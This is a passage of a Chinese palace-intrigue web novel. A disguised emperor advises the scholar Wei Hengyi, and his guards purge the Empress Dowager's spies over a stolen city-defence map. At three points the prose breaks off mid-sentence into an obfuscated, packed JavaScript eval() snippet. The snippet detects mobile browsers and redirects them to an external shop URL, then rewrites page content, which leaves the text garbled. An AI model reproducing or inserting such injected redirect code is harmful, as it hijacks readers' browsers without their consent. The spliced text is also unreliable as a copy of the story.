卫珩一垂眼看着面前的清酒,低声道:“监察司刚立,正欠缺人手。” 当今圣上果决肃清朝廷的手段,让他死寂一般的心又活了过来,入朝入仕,都是为了海晏河清,那么入监察司又有何不可。 独立朝外,督查百官,直属天子。 他相信圣上能利用监察司,做出更好的政绩,他心甘情愿。 他也关心好友的选择,问荀嵩,“你呢,打算如何?” “别提了,我爹说我秋闱虽上榜,但以我的文采,明年春闱肯定没戏,逼着我温书去考监察司,哪怕是不入品级的文吏也好。” 荀嵩讲起这个就头疼,又想起明晚的庆功宴,愁眉苦脸道:“还有啊,我爹打算带我出席镇国侯的庆功宴,让我去圣上面前露个脸,可庆功宴上那么多人哪里轮得到我到圣上跟前说话,还不如去斗蛐蛐呢,老头子骂我不识好歹,大清早就要抽藤条打我,幸亏我跑得快……” 卫珩一哑然失笑,“怪不得今日你有空拉我来喝酒。” “我怕啊。”荀嵩神色间的忧愁不减,刻意压低嗓音凑到卫珩一耳边,道:“圣上喜怒不定,这才多久金銮殿上就沾了那么多人的血,万一我说错什么话,惹恼了圣上牵连到我爹怎么办?所以我是一点都不想去。” 这话讲得毫无道理可言。 卫珩一笑意微敛,摇头道:“圣上是明君,断不会轻易迁怒旁人。” 荀嵩诧异地看他一眼,“你又没见过圣上,你怎么知道?天威难测,我爹在翰林院白头发都多了好几根。” 卫珩一轻笑,眉眼温润却笃定道:“我信圣上。” 即使不曾见过,可从圣上近半年来,所颁布的政令和所做的改革就能判断出,圣上并不是一个无的放矢之人。 否则他又怎会打算放弃春闱,去考监察司。 “等你什么时候见过圣上了,你再说这话吧。”荀嵩笑着调侃,谈笑间他目光忽的被窗外吸引过去。 荀嵩半个身子探出窗外,朝街上纵马之人挥手,“哎哎,世子殿下!这儿!在这儿!” 青石大街上,一身黛色劲装的穆子秋刹停马匹,停在酒楼前,马匹交给了小二,阔步入楼不稍片刻就到了雅间。 “哟,世子殿下近日威风,好些日子不见您人影了。”荀嵩戏谑道。 穆子秋坐下先倒了杯酒,俊容上尽显意气风发,扬眉道:“圣上派我监管林氏抄家,刚刚清点册子交进宫,才忙完。” 说着他抬眼瞥向卫珩一,觉得有些眼熟,“这位是……?” 闻言,荀嵩颇为自豪地拍了拍卫珩一的肩膀,介绍道:“卫珩一,是今年秋闱解元。卫兄在国子监读了一段时间,只不过那段时间你天天往宫里跑,没同我们一起小聚过。” 穆子秋打量卫珩一几眼,很不凑巧他在圣上案前瞧见过这个名字,被圣上特意用朱笔圈起来的名字。 瞧不出哪里特别,一个小小解元罢了,到底怎么入了圣上的眼? 他眼眸微深,对卫珩一颔首道:“原是同窗。” 面对穆子秋目光的审视,卫珩一神情平静,对其报以微笑,简单致礼:“世子殿下安。” * 京都。 西街明工坊。 明工坊由一家染坊改建,占地空间大,立于闹市外。里外有禁军把守,防止透露出机密。 一架马车慢悠悠使来,郞义肃目冷脸地将马车止步在明工坊前。 得了消息的工部侍郎一早就候在门前,马车一停,他就急匆匆迎上去。 师离忱搭着郞义手臂下了马车,打断工部侍郎行礼,“行了,一切从简,先进去瞧瞧。” 今日跟他出来的只有郞义。 为这事,乐福安追着哭了好一会儿,只不过办明夜的庆功宴还未筹办完,师离忱是铁了心把他留在宫中。 因着近来朝堂风波,工部侍郎来之前就做了很久的心理建设。 昨日朝会才杖毙了一几个舞弊的官员,开设监察司的旨意刚下,工部侍郎没想到圣上会在这个节骨眼来明工坊,背后冷汗都冒出来了。 当然明工坊是在他手底下建起来的,对于明工坊产出的东西他一向自信,只是他拿不准圣上的心思。 毕竟昨日过后,朝中官员都写了请罪折,或大或小的错处,或者鸡毛蒜皮的黑历史,类似‘郊游随手摘了路边李子没给钱’,以及‘编撰字写歪了’这样的事,也都记录上去。 圣上朝会时说了,统统写清楚,否则等监察司设好,查出来,那就不是能轻轻揭过的问题。 工部侍郎在疯狂回想,请罪折上是不是有没补充的地方,小心观察了圣上神色平常,悄然松下一口气。 似乎只是逛逛。 明工坊院中有个流动水池,里头转着改良过的水转筒车,比寻常筒车要小一点,正在嘎吱嘎吱运转。 师离忱扫过一眼。 工部侍郎立即道:“这款筒车图纸已下发给各个州府,户部刚刚把银子批下来,各州府很快就能安排建造,设立在公田。” 师离忱轻飘飘地“嗯”了声,眸中情绪不显。 在他看来,月商国粮食产能有些低,亩产仅仅一点五石粟米,这还是一年四季风调雨顺的情况下。 若是遇到个暴雪冰雹,或者干旱,恐怕还要减少,所以有水车还不够,增加产能才是重点。 很遗憾的是,月商国和南晋国都没有土豆,没有番薯这种能够囤积,且产量够大能饱腹的主食。 师离忱只能一方面派人去找这样的物种,一方面安排常年与农耕打交道的官员,来负责培育水稻。 他并不是这方面的专家,只能大概提出一个概念,提供各类品种的水稻让手底下的人去试。 至于温室大棚就有些遥远了。 且不说没合适的材料制作大棚,现如今取暖都是靠炭火,穷苦人家冬日烧炭取暖都是一件难得的事,更别提拿珍贵的炭火去维持大棚的温度。 只能徐徐图之。 工部侍郎又将师离忱带到后屋,站在楼上往下看去,工匠们提着锯子围着一个大型木架敲敲打打。 工部侍郎擦着汗,惭愧道:“能够分离稻谷的摇车尚未造出,圣上赎罪。” 师离忱轻笑道,“无妨,慢慢来。” 不可能事事一蹴而成。 他问:“近两个月,是否有能人异士前来自荐?” 工部侍郎遗憾摇头道,“尚无。” 师离忱叹了一声,不再多言。 又在明工坊多转了两圈,郞义瞧着时辰快到晌午,福公公可千叮咛万嘱咐,一定要督促圣上吃午膳,他俯首上前低声提醒了两句。 师离忱这才慢悠悠地往外走。 …… 马车平稳地驾离明工坊,朝着热闹的南街行去。 圣上尚不想回宫,打算在宫外用膳,又不去官员家中,郞义自然要选一家最好最风雅清净的酒楼。 郞义在最前头驾车,刚到西街没走多久,就被坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12284084|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在二楼雅间窗前的穆子秋打眼瞧见了。 穆子秋唰地一下站起来,动作幅度之大让桌面酒水都跟着晃了晃,他却毫无所察般直愣愣看着大街上行过去的马车。 另外二人被他突如其来的举动惊着了,卫珩一随着他的视线看向窗外,荀嵩则诧异道:“怎么了?” 穆子秋认出了郞义,能让金吾卫统领亲自驾车的,普天之下大概只有那位。当然他不会如实和伙伴们说,再者圣上出宫多半是微服私巡,以低调为主。 他掩饰性的咳了两声,道:“瞧见同僚了,他平日不来这些地方吃饭,一时有些吃惊。” 荀嵩虽醉的厉害,但尚能看清穆子秋的表情,打着酒嗝,哈哈大笑,“瞧你这样,脸都紧张红了,不知道的还以为你见到了心上人呢。” 穆子秋恼怒斥道:“胡说八道!快闭上你的嘴。” “你真该看看自己的模样。”荀嵩语重心长,“子秋,照照镜子吧!” 穆子秋反驳:“都说了是同僚!” 话虽如此。 卫珩一却不这么认为,他默默看了眼穆子秋飘忽的眼神,以及无意识蜷起来揉搓轻扣抠的手,若有所思地将目光投向街上的马车。 马车上的,定非寻常人。 …… 此刻。 郞义驾着马车,停在对街楼前。 一道颀长身姿从马车中钻出,骨指分明的两手间正把弄一个木质结构的玩物,是一个鲁班锁。 看着圣上随郞义进去,穆子秋深深地后悔了。早知圣上要来,他就做东请客叫众人一起去对楼用膳了。 对楼也是酒楼,叫千鹤楼。 和他们所在的这无名小酒楼不同,千鹤楼在京都饶有名气,隔间清净低奢华贵,还有大江南北的名厨坐镇,歌女弹唱,是绝佳风雅之地。 当然,价格也高,京都也就家中有些闲钱的富庶公子哥,或是宗室王孙才能花费得起。 穆子秋虽不差钱,但荀嵩家中管得严,所以他们小聚一向都选在这寻常尔尔的小酒楼。 况且能在京都开起来的酒楼,就算小也不差劲,只是比不得千鹤楼这种样样出挑的地方。 穆子秋发了会儿愣,正想着寻个由头离席去对楼,就见原本进了千鹤楼的圣上又走出来了。 是一张丢到人群中找都找不出的普通面容,但穆子秋一眼就认出了那是做了易容的圣上。 圣上出了千鹤楼,往他们所在的酒楼走来了,偏头似乎和郞义在说些什么。 眼见着人越走越近,穆子秋心嘭嘭跳着,心底给自个壮壮胆,欲要唤人之际,一旁突然响起卫珩一潺潺温润的嗓音,与平日谈话不同,特意提高了语调,抢在他前头唤道:“离公子!” 嗯? 听到头顶传来呼声,师离忱撩起眼皮,窗口站着俩熟悉的人影,一个是穆子秋,一个是卫珩一,唤他的是卫珩一。 “卫公子。”师离忱慢条斯理回应着,又扫了眼穆子秋,“世子殿下雅兴。” 虽说是禁军副手中郎将,但他并未给穆子秋实权,只偶尔派些活给穆子秋,看起来是派少了,还有闲情逸致喝酒。 穆子秋忙着接话:“同窗小聚,离公子可要一起?” 师离忱本不想应,但瞧了眼旁边未来的探花郎,忽然来了兴致,低低笑了两下应道:“好啊。” …… 趁着圣上上楼的功夫,穆子秋抓紧问卫珩一,一副如临大敌的严肃表情:“你怎么认得的离公子?” 卫珩一眼看穆子秋的表现,就知这位离公子的身份不简单,如实道:“鹿鸣宴遇过。” 那二百两还在他枕头底下放着。 毕竟喝了一早上的酒,荀嵩吵了那两句嘴后,就迷迷糊糊趴在一旁。 听到他俩说话的动静,勉强嘟囔着应和道:“……啊?什么离公子?李子?我不吃李子,我要烧鸡,子秋,帮我叫一盘……” “……” 穆子秋手一提,把这醉鬼提到一边椅子上躺着去,又叫小二进来重新换了一桌酒菜。 这么一打岔,他也没空思考圣上什么时候去的鹿鸣宴,到门前去迎圣上的同时心里头还有一股酸溜溜的劲。 圣上去了鹿鸣宴,只和卫珩一见了。 …… 这座小酒楼,不似千鹤楼冷清,人来人往热闹的紧。 郞义神情肃穆地打量四周,时刻警惕的守在圣上身边,不着痕迹的隔开任何将要靠近圣上的活物。 师离忱从容不迫道,“别紧张。” 走上二楼,早等着的穆子秋便殷切地迎过来,“离公子,这儿虽小了些,但酒水纯香,与家中风味不同,等会儿您一定要尝尝。” 入了雅间。 师离忱伸手,郞义递过帕子。 师离忱擦着手,扫了一圈雅间,视线瞧见躺椅上抱着酒壶两眼迷瞪的醉鬼,好笑道:“这是……” “他醉了。”卫珩一对着师离忱遥遥见礼,“离公子,上次一别许久未见,近日可好。” 师离忱坦然道:“家中事杂,算不得好。”他找了个空位随意一坐,噙笑道:“都站着做什么,坐。” 他眼眸一瞥,暗含警告地落过穆子秋和郞义。 穆子秋和郞义自然不敢拆圣上的台子,郞义看出圣上有心与这位卫公子谈话,识趣的坐到一旁边角。 倒是穆子秋一点也看不出眼色,十分大胆的靠到圣上身边的位置坐下,还以为圣上是来找他的呢,笑嘻嘻道:“公子刚刚手上拿的是什么?好玩吗?” “你说这个?”师离忱手指一翻,鲁班锁出现在掌中,被苍白伶仃的手托住,显得小巧玲珑。 卫珩一定定的看着那只手,离公子样貌并不出色,那手却似——上好的,精美的白玉。 指腹带着薄薄的粉意,让普通的鲁班锁都变得矜贵起来。他盯着看了会儿,回过神来后飞快敛下眸子,忽然觉得口渴。 穆子秋道:“这鲁班锁的样式没见过啊?” 方才从明工坊拿过来的小玩意,师离忱在路上就解开过又装回去了,早就没意思了。 他道,“新出的。”随手一抛,丢给了穆子秋,“拿去玩吧。” 穆子秋像得了块宝似的抱在手心,恨不得封存起来,嘴角情不自禁地上扬,那股子酸劲也全被冲没了。 师离忱懒得理会他,转眸把目光投向卫珩一。 一旁,朗义拿出圣上的餐具,圣上经手的用具大多该是纯金的,但出宫在外一切从简,所以这些餐具都改了银制。 京中侯爵贵公子们通常都自备银筷酒盏,算不得稀奇事,因此不会引人注目。 新点的菜还未来,朗义先斟了酒,恭敬送上。 师离忱捻着递来的酒盏,接着前头的话,慢条斯理地对卫珩一道,“家中忙归忙,但还算过得去,倒是卫公子近来过得又如何?” 15. 第十五章:你不适合监察司 面对师离忱的询问,卫珩一很难撒谎。 不是他不能,而是当他对上离公子的眼神时,大脑在陡然之间一片空白。 或许连离公子自己都不曾发觉,或是知晓但无所谓,他浅浅睨来的眼神冷淡到目空一切,神态恣睢,懒懒地靠着椅背,虽是带笑闲谈,可还是在无意间流露出些许来自上位者的压迫。 仿佛在他面前,所有掩饰都是徒劳。 一旁事无巨细清洗擦拭银制碗筷的侍卫,以及穆子秋亲近的态度,都足以验证离公子的身份并不简单,可能是某位亲王侯爵也说不准。 所以卫珩一认为,就算他不说,离公子也会知道,故而没必要为了当下的面子,刻意说谎。 他开口,自然而然地将鹿鸣宴过后,以及近几日的难堪遭遇和盘托出。 师离忱一边细细听着,一边悄然观察起卫珩一的神色,唇角带起一抹浅显欣赏的弧度。 不怪是原著中清流被孤立的探花郎。 从被逐出国子监,讲到生活里处处受到的为难和限制时,始终目光清明,神色间也并无一丝羞恼之意,只是叙述近来日常罢了。语气平和不卑不亢,唯有在提及庄学究被捕时,眉心稍微动了动,垂下眉眼。 卫珩一叹道:“庄学究虽有罪,可与我却是有恩,不知他被怎样处置了。” “你想见他?”师离忱问道。 卫珩一心情复杂,“想见,却也不想见……” 瞧他一副心烦意乱地模样,师离忱挑眉,饶有兴味道:“说来听听,说不定我能给你出个主意。” “庄学究牵扯到林氏一案,参与舞弊毁学子一生,于国于私他是罪人。” 卫珩一轻声,“可他待我又极好,不仅仅只是免去束脩,私下也会提点策论,授课也尽心尽力,平日还会赠我笔墨,叫我专心读书。” 无论抱着怎样的目的,庄学究对他来讲,都有恩情。 师离忱品了口酒,声音淡然情绪不显:“那你可有了解过,他到底帮着林氏做了什么,才会被大理寺收押。” 卫珩一不解摇头,面色诚恳道:“若泄露此事会惹圣上震怒,那离公子还是不要同我说了。” “算不得机密。” 师离忱语气平常,“八年前殿试泄题,答案是庄学究所做。他确有真才实学却不走正道,与林氏狼狈为奸,昨日有七位官员被贬,其中有四位是受过庄学究恩惠的寒门学子,同样在国子监无束脩念过书,你说他该不该被收押?” 这些内幕只有朝中官员知晓,并未传到外头,卫珩一没想过庄学究胆子能大到如此地步,与朝中官员有牵扯,一时怔愣说不出话。 师离忱敲了敲酒盏边缘,意味深长道:“贫寒时受过恩惠,高中后在朝中做官,忽然多年不曾联系过的老师上门求你办事,而是是办一件无伤大雅的小事,既不影响你的官生,还能在林氏手中得到好处。” 他长睫一抬,笑吟吟地凝视着卫珩一,压低嗓音语气蛊惑,“你是帮,还是不帮?” 此刻的卫珩一,不过是一个刚考上解元的学子,不了解朝中险恶,只觉得喉头干涩,直直地看着师离忱。 师离忱歪了歪头,懒散地一手托住下颌,眼梢轻弯道:“卫公子,换做是你该怎么选?” 一边,穆子秋察觉到这个问题的不对劲,屏息凝气,小心翼翼观察起了圣上的神色。 圣上语气是温和的,眼中却是一片深沉,情绪莫测。 这是一次不着痕迹的试探,身在局中的卫珩一却没发现,清隽温润的俊容完全陷入呆滞。 离公子的眼睛…… 让他遽然想起一句诗—— 一寸秋波,千斛明珠觉未多。 直到师离忱不耐地“嗯?”了一声,卫珩一才忽地惊醒。 他自觉失礼敛眸,想起方才的话题,稍稍正色回应道:“身为学子,有恩要报是理,但要分清是非,雪中送炭是恩,君恩也是恩,既入朝为官便不可徇私,否则是不忠!私恩,私报。” 态度已然十分明了。 瞧他这幅不开窍的样子,师离忱气笑了,“榆木脑袋,他算计你,你还想着报恩呢。” 卫珩一不认同,“一码归一码,恩义不可抹。” 观念不是一时就能扭转的,师离忱也是头一回在朝外见到比御史还死板的人,点都点不醒。 他烦得揉了揉眉心,随口道:“一些小恩小惠便让你如此苦恼,待你日后若做了官,该有得头疼。” 卫珩一沉默一瞬,低声道:“实不相瞒,卫某打算考监察司。” 闻言,师离忱轻笑,“你入监察司是打着做圣上双眼,以防再出迫害学子,林氏乱象,是也不是?” 卫珩一心头咯噔,被说中了,看着师离忱的眼神宛若瞧同好,热切道:“莫非离公子也想入监察司?” 师离忱懒得同他废话,直接点道:“你不适合监察司。” “为何?”卫珩一蹙眉。 师离忱视线落到窗外。南街一向热闹,路面车水马龙,坐在这儿放眼扫去,能瞧见京都错落有致的楼层,街上往来的商客,热气腾腾的蒸笼。 他道:“你瞧。” 卫珩一茫然看去,一切如常。 师离忱幽幽道:“京都繁华,有没有想过,其他地方未必,况且锦绣如此的京都也能藏匿污垢,其他地方呢?” 寥寥几句,卫珩一倏然通透。 监察司固然能肃清朝廷,可最重要的还是百姓,民生,最后做决定的还是坐在官位上的人,是他想岔了。 卫珩一神情肃然,起身对师离忱深深拘礼,“多谢离公子提点,明年春闱在下一定参加。” 很好,这就对了。师离忱含笑道:“想通就好。” 卫珩一是个人才,虽迂腐了些,但他不可能放过这个好苗子。师离忱都想好了等卫珩一殿试过去,带在身边好好调教两年,再做外放。 二人谈话终止,空气一时沉寂。 这是小酒楼,屋内并未燃炭火,但师离忱穿着个狐领围脖大氅,厚重的很,坐了会儿他居然觉得热了。 郞义适时道:“公子,要更衣吗?” 师离忱摆了摆手,随意靠着椅背,搭在扶手上的宽袖往上滑了点,露出一截纤细苍白的腕骨,他烦闷地闭目吐出一口气。 见圣上面露躁意,穆子秋见圣上菜都没吃两口,酒连一盏都未饮净,赶紧凑过来献殷勤道:“公子是不是吃不惯这儿的饭菜?这儿东西到底没家中好,不过千鹤楼的还算不错,不如我请公子到对楼吃好不好?” 闻言。 卫珩一低眼看到袖口露出的补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12312588|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁,明明刚才不觉得,现下却忽然感到了难堪,他悄悄地藏了藏袖子。 难得碰到这么懂他的知己。是的,知己,他已然默默将离公子在心底的地位从陌生人,一跃提为了知己。 所以他下意识的,想将最好的一面呈现在离公子面前。 师离忱眼皮抬都没抬,闲闲道:“要去千鹤楼的话,刚刚我就不出来了,还来这儿做什么。” 千鹤楼是郞义选的,确实雅致清净,大堂是弹唱的歌女,一个个的一层薄纱穿得清凉,打着文人才子的旗号,行为举止正常,但文人才子的眼神可不那么说。 故此师离忱才进门,兴致就被败光了。 郞义低头,肃声道:“属下有罪。” 让圣上不高兴了,就是错。 又浅尝两口小菜,师离忱胃口不深,又坐着嫌热,干脆起身要走,见穆子秋要追过来,他侧目淡淡扫了眼,“不必送了,你们继续。” 路过躺椅,听到抱着酒壶的醉鬼口齿不清地嘟囔,“子秋啊……子秋……圣上,圣上凶不凶啊……” 师离忱耳力很好,捕捉到这句话驻足停下,似笑非笑地看了眼穆子秋,穆子秋脸红得要命,恨不得把荀嵩嘴巴堵上。 好在圣上并未打算追究,转而噙着笑和卫珩一微微颔首致意,便转身离去。顿时穆子秋手里的鲁班锁也不香了,一颗心完完全全被醋泡上了。 圣上和卫珩一说了那么久的话! 臭书生哪里好了! 卫珩一则静静目送师离忱的背影,心口跳得飞快。 陡然回神,想起来还没问离公子住处,那二百两还没归还,他急匆匆地追下去,却见离公子的马车已经远去。 他怅然若失地站在原地发呆。 * 虽说深秋天冷,可被大氅捂了大半日的师离忱还是出了层薄汗,回宫便卸去了厚重的外衣,撤了易容。 在宫中师离忱一向率性打扮,冠也摘了,一身松散披着一头乌黑浓密的发,在御书房检查刚送来的情报奏疏。 从郞义口中得知圣上在宫外用得不多,乐福安紧忙暂停手底下的活,跑御膳房,一打眼盯上了顺庆州府千里迢迢送来的新御厨,“快!你来,要是能勾起圣上动筷,有你看赏的。” …… 一块薄薄的,巴掌大的半透肉干出现师离忱桌上,乐福安眼巴巴地劝,“这位是顺庆府来的名厨,说是只有他能做出这味,圣上不妨尝尝。” 师离忱提着筷子,夹起肉干,薄薄的肉片透光,纹理清楚,泛着油润的光。 他古怪地打量两眼,咬了一口,咔嚓脆响,鲜香麻脆,多嚼几下还带着回甘的甜味。 师离忱慢条斯理的吃完一口,放下筷子,哼笑,“人呢?” 乐福安福至心灵,立即派人去通传,一脸讨好地对圣上道:“能让圣上动筷是他的福气,圣上怎得还要亲自见他。” 师离忱转着玉戒,唇角弧度微微上扬,“东西做得好,但朕更想知道,他做东西的料从何而来。” 在这炖蒸炒煮为主的月商国,没有辣椒,食物寡淡无味,可刚刚那片肉干,有辣。 穿书前的灯影牛肉干不稀罕,可在月商国,那就太稀罕了!这个辣味,到底从哪儿来的。 师离忱很想知道,也必须知道。 16. 第十六章:圣上饶命啊! 厨子是好厨子,香料却没出处。 一脸老实憨厚的厨子,生怕惹上事,原原本本交代了全部。稀奇的辣味,全部来自海外。 顺庆府有个渡口,偶尔会停靠海外胡商,胡商不下船,会以船上有的东西来交换陆上的物品。 厨子用一头羊,交换了四小罐子的香料。红红的,被晒干碾碎在罐子里。 顺庆府喜好食用蜀椒,厨子恰好是草原长大,爱食肉干,便试着用这红色的香料和蜀椒搭配,没想到味道意外的好。 但后来,那位胡商没有再来过渡口,四罐香料要是做生意也不够用,厨子自个都省着用。 没想到偶然被州府大人得知这事,又尝了肉干,便马不停蹄的将他送来了京都献给圣上。 师离忱很遗憾。 碾碎的辣椒不能作为种子被培育,只能即刻传信给顺庆州府,让那边盯着点渡口的胡商。 他盘算着,等忙完这阵,看看能不能挑几个人远赴外洋,毕竟守株待兔不如主动出击。 …… 浅用了几口,师离忱招招手,小宫女奉着盥盆上前,简单的水声撩拨中,宫人们该撤膳的撤膳,整理的整理。 不稍片刻,御书房重归寂静。 师离忱回到案前,重新拿起一份奏折。 目前拿着的这份,便是南晋使臣求见的信报。 南晋使臣和裴郁璟一同到的京都,但他不想见使臣,便拒召。 使臣被拒召之后,也一直呆在馆驿,不外出,不惹事,表面功夫是做足的,暗地里小动作可没少。 或许是得知明日镇国侯归京,谈判在即,又或许是那只没名没分的飞鸟被杀……总之迟迟等不到消息的使臣终于坐不住了,急着上奏。 假安分。 师离忱随意一瞥,漠然丢到一旁。 还有两份要紧的奏疏,则是来自南晋的情报。 左右是关于南晋皇子党争,他不必看都知道是什么情况,这会儿外头传来乐福安通传,“圣上,郞统领求见。” 他随意将奏疏叠在一起,沉声道:“进。” 郞义携另一名金吾卫副手,压着一个小宫女到御前跪下,小宫女早被金吾卫吓破了胆,瑟瑟发抖缩成一团,忙不迭磕头,“圣上饶命,圣上饶命,奴婢什么都不知道,奴婢是冤枉的,圣上饶命啊!” 师离忱懒懒搭着扶手,眸深莫测地睨一眼郞义。 不必开口,郞义领会,走上台阶来到圣上身侧,恭敬半跪着,低声附耳将来龙去脉解释清楚。 金吾卫本是在查宫中的南晋暗探,可那只死鸟的出处尚未有着落,却抓到了一个给外头传信的小宫女。 根据小宫女的意思,这信是她寄给家里的,不是什么密信。 但郞义把外层封壳一撕,查看信中内容,居然和上回飞鸟身上搜出来的密信一模一样,无论字迹还是内容,分毫不差。 信中大致写了质子在宫中的情况,以及宫中变动。两封一样的密信,原原本本摆在御案上。 师离忱低敛着眼,慢条斯理地转起玉戒,“在何处当差?” 小宫女好半天才反应过来圣上在同她说话,她害怕地低头,颤巍巍道:“奴婢是兽园的洒扫宫女,奴真的不知家书被何人所换,奴冤枉,圣上明鉴!”她一边哭着一边磕头。 宫中所有往外递的家书都要被拆开检查。 做的这么明显,是舍了个替罪羊来呢,还是专门糊弄他呢?真有意思。 师离忱被哭烦了,眼皮都懒得抬一下,“闭嘴。” 小宫女顿时噤声,一句话也不敢说,颤着身子等候发落。 上首,传来圣上轻飘飘的,不辨喜怒的声音:“回吧。” 万万没想到会得到赦免,小宫女千恩万谢,神情惶恐的退出御书房。郞义小心翼翼地抬眼,窥探起圣上的脸色。 一片死寂中,连呼吸声重一点似乎都是罪过。 半晌,圣上发话,“看紧她。” 圣上将两张密信折起来,起身来到烛台前,火舌卷住了信角,瞬息燃烧起来。 郞义瞧见,圣上眼底映出了跳动的火,那比焰还红的,如抹血般的唇边带笑,幽幽低语:“去帮帮太后,把宫里的虫清一清,伺候不好就全都换了吧。” * 出了御书房。 小宫女一路小跑,兽园当差住所自然也在兽园,她注意身后已无金吾卫跟随,苍白的面色陡然恢复平静。 兽园地广。 她回来后被管事嬷嬷问了几句,得知无事后,便让她继续当值,直到日暮西山,与人换值后,她才小步规矩的往御膳房的方向去。 宫女太监们零散往来,这会儿临近晚膳,都在用膳或者用完了往回走。 她与另一名宫女擦肩而过时,不动声色地递出去一枚小小纸条。 以为摆脱嫌疑的小宫女,忍不住面露喜色。 可却在拐了两个弯后,颈项处忽地一凉,她笑容一僵,瞪大瞳孔看着眼前面色肃冷金吾卫,金吾卫佩刀已然出鞘,明晃晃的刀尖,正架在她脖子上。 …… 僻静的假山。 另一名收到纸条的宫女,在快速看过纸条内容后,找到一株芍药树下。 观察四下无人,她快速挖出埋在土里的羊皮画卷,又将土填回去,东西藏在窄袖中掩饰好,提起花篮,面色如常地往外走。 刹那间,火把亮起。 金吾卫像拖死狗般将小宫女拖到前头,脖子一道血痕,俨然已经没气。郞义挥手,金吾卫拔刀上前。 藏东西的宫女脸上骤然灰白,生怕步后尘,尤自镇定大喊:“我乃太后宫中女官,奉太后之命前来采花,尔等无故拦我做甚!” 拔刀的两名金吾卫迟疑顿住,回首以眼神请示郞统领意见。 见状,女官自认为拿捏了,扬眉道:“耽误了太后洗浴,有你们好果子吃,还不速速……” 话音未落,她头发猛然被抓住提起,寒光一闪割断了她的喉咙。 血溅在郞义脸上,郞义面无表情地从她袖中拿出羊皮画卷,冷冷道:“圣上有令,格杀。” 太后所居,寿安宫。 金吾卫训练有素地围住了每个角落。 福生得了师傅受命,带着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12317954|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排的宫女太监们候在宫外,而寿安宫内,灯火通明哭嚎一片。 宫女太监们死了一半,活着的另一半被拖走,血腥味铺满大殿。太后穆锦绣死死捏住了扶手,目眦欲裂地看着郞义,“他是疯了吗!哀家是太后!这些都是哀家身边的人,岂是他说杀就杀的!” 兄长明日就到京都,大胜归京,师离忱怎么敢?!他疯魔了不成! “娘娘身边混了奸细,偷盗城防图,圣上说了,给您换一批伺候得力的宫人,免得叫娘娘来背这谋朝篡位的名声,不好听。”郞义冷面复述。 穆锦绣瞪着郞义,气得双目发红,“他人呢!为何不亲自来!” 郞义冷漠道,“国务繁忙,明日庆功宴上,娘娘自然能见圣上。” 旧一批的宫人被清理掉,郞义收刀带着金吾卫退到外头。福生则带着新一批宫人补上,洗刷完地上留有的血渍,整个寿安宫又重新变得整洁。 虽是清洗擦拭过,可血的腥气还是迟迟不散,在殿内淡淡的,持续萦绕。 “通敌叛国的奴才们,圣上都给您处理干净了,您不必为此忧心。” 福生低头道:“这批新人懂事,太后娘娘且先用着,若是用着不舒心,尽管叫内务府给您换一换,圣上总不会拘着您。” 能跟在她身边的,都是从九华寺跟回来,或者守在宫中传递消息的心腹老人。 如今被全部清理掉,让穆锦绣险些一口牙都咬碎,姣好的面容扭曲,冷笑:“圣上思虑周全,哀家深感欣慰。” “圣上与娘娘母子连心,昨儿个娘娘送的那碗莲子汤,圣上欢喜极了,想着娘娘收到回礼应该能懂他的孝心。” 福生跟在乐福安身边久了,也练得一嘴的圆滑,皮笑肉不笑道:“谁知娘娘没感悟到圣上的心意,圣上只好重新给娘娘备一份礼,免得太后受奴才们的蒙蔽,犯下滔天大罪牵连侯府,那才是得不偿失。” 提起侯府,穆锦绣冷静下来,脸色依旧黑得要命。 城防图没得到,心腹还全没了,她骨脊发寒一句话也说不出来,用力到掌心生疼,硬是扣出了血。 福生不卑不亢地行礼,道:“您早些歇着,奴才这厢告退。” …… 与此同时。 城防图落到师离忱手中,羊皮卷上画着京都皇城的城防。 两个月前丢的城防图,一张假的钓出了南晋暗探,一张真的被太后的人偷走。真的城防图丢了之后,他便将京都城防悄悄换了,理论上来说这张也是假的。 况且禁军和金吾卫完全在他掌控之中,太后那边得不到消息,只会以为这是真的城防图。 真沉不住气,刚回宫就要拿城防图做文章。 师离忱低笑两声,随手将这张城防图丢进火盆,盆中还没烧干净的黄纸往上扬了扬。 月挂当空。 寂寥的廊道,响起圣上心情甚好,哼起的古怪小调。 乐福安跟在后头打眼瞧去,圣上玄色宽袖龙袍下的食指伸出,慢悠悠,轻轻的刮过血红的门,被月色一照,骨指分明的手似乎都没了血色,苍白到令食指上的玉戒都变得温润有度。 17. 第十七章:给小宠添一碗 师离忱散漫地走着,慢吞吞地走回紫宸殿。他负在身后的手,还拿着白日御书房那两份关于南晋内乱的情报奏疏。 